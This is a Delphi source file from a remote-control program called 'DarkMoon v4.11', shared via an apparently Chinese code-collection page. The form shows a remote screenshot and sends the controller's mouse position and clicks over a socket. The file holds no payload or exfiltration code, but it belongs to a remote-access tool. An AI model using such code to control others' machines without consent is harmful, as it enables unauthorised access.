ufrmcapture.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

unit UfrmCapture;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls,DM5314_UExplorer,DM5314_UCommandsAndUtils;

type
  TfrmCapture = class(TForm)
    Label1: TLabel;
    imgScreenshot: TImage;
    Timer1: TTimer;
    procedure Label1Click(Sender: TObject);
    procedure imgScreenshotMouseMove(Sender: TObject; Shift: TShiftState;
      X, Y: Integer);
    procedure Timer1Timer(Sender: TObject);
    procedure imgScreenshotMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmCapture: TfrmCapture;
  MousePosX  ,MousePosY : integer;
  Counter: integer;
implementation
 uses Mainform;
{$R *.dfm}

procedure TfrmCapture.Label1Click(Sender: TObject);
begin
frmCapture.Hide;
timer1.Enabled:=false;
frmMain.TimerRDC.Enabled:=false;
end;

procedure TfrmCapture.imgScreenshotMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
begin
MousePosX:=X ;
MousePosY:=Y;
end;

procedure TfrmCapture.Timer1Timer(Sender: TObject);
var
d : string;
begin
   if typeconnection=0 then   begin
d :='^' +  inttostr(MousePosX) +'^' +  inttostr(MousePosY) + '^';
frmMain.KClient.Send(pchar(d),length(d)) ;
   end;

     if typeconnection=1 then   begin
d :='^' +  inttostr(MousePosX) +'^' +  inttostr(MousePosY) + '^';
frmMain.KServer.Broadcast(pchar(d),length(d)) ;
   end;
end;

procedure TfrmCapture.imgScreenshotMouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
  var
d : string;
begin

if timer1.Enabled=true then begin
if typeconnection=0 then   begin
d :='@' +  inttostr(MousePosX) + '@' +  inttostr(MousePosY) + '@';
frmMain.KClient.Send(pchar(d),length(d)) ;
end;

if typeconnection=1 then   begin
d :='@' +  inttostr(MousePosX) +'@' +  inttostr(MousePosY) + '@';
frmMain.KServer.Broadcast(pchar(d),length(d)) ;
end;

end;

end;

end.